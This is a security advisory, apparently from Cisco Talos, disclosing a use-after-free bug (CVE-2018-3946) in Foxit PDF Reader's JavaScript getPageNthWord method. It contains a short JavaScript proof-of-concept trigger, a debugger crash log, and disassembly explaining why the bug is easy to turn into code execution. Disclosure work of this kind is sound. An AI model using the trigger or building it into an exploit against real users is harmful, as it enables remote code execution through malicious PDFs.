Talos Vulnerability Report

TALOS-2018-0613

Foxit PDF Reader JavaScript getPageNthWord remote code execution vulnerability

October 1, 2018
CVE Number

CVE-2018-3946

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software's PDF Reader version 9.1.0.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.1.0.5096.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Invoking a method which keeps a stale reference to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.

This particular vulnerability lies in invoking the getPageNthWord method of the active document, which can trigger a use-after-free condition called with specially crafted arguments like in the following code:

var b = {}

function main() {
 b.toString = c; 
 app.activeDocs[0].getPageNthWord(0,b);  
}

function c() {
 app.activeDocs[0].closeDoc(); 
}

main();

In the above code, we craft an object b with overloaded toString method to call function c. Then we invoke the getPageNthWord method. While accessing the arguments, getPageNthWord will expect its second argument to be of type string and will call the object's toString method. In this case, that will execute function c which closes the current document. Closing the document frees a number of objects, and then when the execution returns to the rest of getPageNthWord method, a stale pointer is reused leading to use-after-free.

Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:

(160.f9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=80000000 ebx=002ee7a0 ecx=0ea24da8 edx=00000056 esi=122e0ef0 edi=00000002
eip=0182c1e9 esp=002ee624 ebp=002ee720 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
FoxitReader!CryptVerifyMessageSignature+0x84939:
0182c1e9 8b11            mov     edx,dword ptr [ecx]  ds:0023:0ea24da8=????????
0:000> !heap -p -a ecx
    address 0ea24da8 found in
    _DPH_HEAP_ROOT @ 7621000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    ea31c64:          ea24000             2000
    68e190b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    774969cc ntdll!RtlDebugFreeHeap+0x0000002f
    77459e07 ntdll!RtlpFreeHeap+0x0000005d
    774263a6 ntdll!RtlFreeHeap+0x00000142
    7565c614 kernel32!HeapFree+0x00000014
    02c4df1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
    011408bf FoxitReader+0x000d08bf
    011428a8 FoxitReader+0x000d28a8
    0128965e FoxitReader+0x0021965e
    0128942b FoxitReader+0x0021942b
    0129842a FoxitReader+0x0022842a
    01282fd7 FoxitReader+0x00212fd7
    01282df8 FoxitReader+0x00212df8
    02aa51ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
    02aa90ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
    02aa917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
    7724c4b7 USER32!InternalCallWinProc+0x00000023
    7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
    77245264 USER32!SendMessageWorker+0x000004d0
    77245552 USER32!SendMessageW+0x0000007c
    012809f5 FoxitReader+0x002109f5
    02aaae65 FoxitReader!CryptVerifyMessageSignature+0x013035b5
    02aa51ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
    02aa90ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
    02aa917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
    7724c4b7 USER32!InternalCallWinProc+0x00000023
    7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
    77245264 USER32!SendMessageWorker+0x000004d0
    77245552 USER32!SendMessageW+0x0000007c
    011abee7 FoxitReader+0x0013bee7
    0181373e FoxitReader!CryptVerifyMessageSignature+0x0006be8e
    018219e9 FoxitReader!CryptVerifyMessageSignature+0x0007a139


0:000> k 5
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 002ee720 01834099 FoxitReader!CryptVerifyMessageSignature+0x84939
01 002ee77c 013f1578 FoxitReader!CryptVerifyMessageSignature+0x8c7e9
02 002ee7c4 028f9b2e FoxitReader+0x381578
03 002ee7f8 028f1946 FoxitReader!CryptVerifyMessageSignature+0x115227e
04 002ee860 028f3cf3 FoxitReader!CryptVerifyMessageSignature+0x114a096

Analyzing the heap state clearly shows that ecx points into an unallocated freed memory region. If we examine the next few instructions we can see the following:

0:000> u
FoxitReader!CryptVerifyMessageSignature+0x84939:
0182c1e9 8b11            mov     edx,dword ptr [ecx]
0182c1eb 8b4204          mov     eax,dword ptr [edx+4]
0182c1ee ffd0            call    eax
0182c1f0 8bf8            mov     edi,eax
0182c1f2 85ff            test    edi,edi
0182c1f4 0f8434010000    je      FoxitReader!CryptVerifyMessageSignature+0x84a7e         
(0182c32e)
0182c1fa 8b5de0          mov     ebx,dword ptr [ebp-20h]
0182c1fd 85db            test    ebx,ebx

We can observe from the above listing that twice-dereferenced address from ecx, through edx+0x4 ends up in eax which is then used an operand to call instruction. This makes this vulnerability easy to exploit, since we can control the contents of ecx.

Timeline

2018-06-05 - Vendor Disclosure
2018-09-28 - Vendor Patched
2018-10-01 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.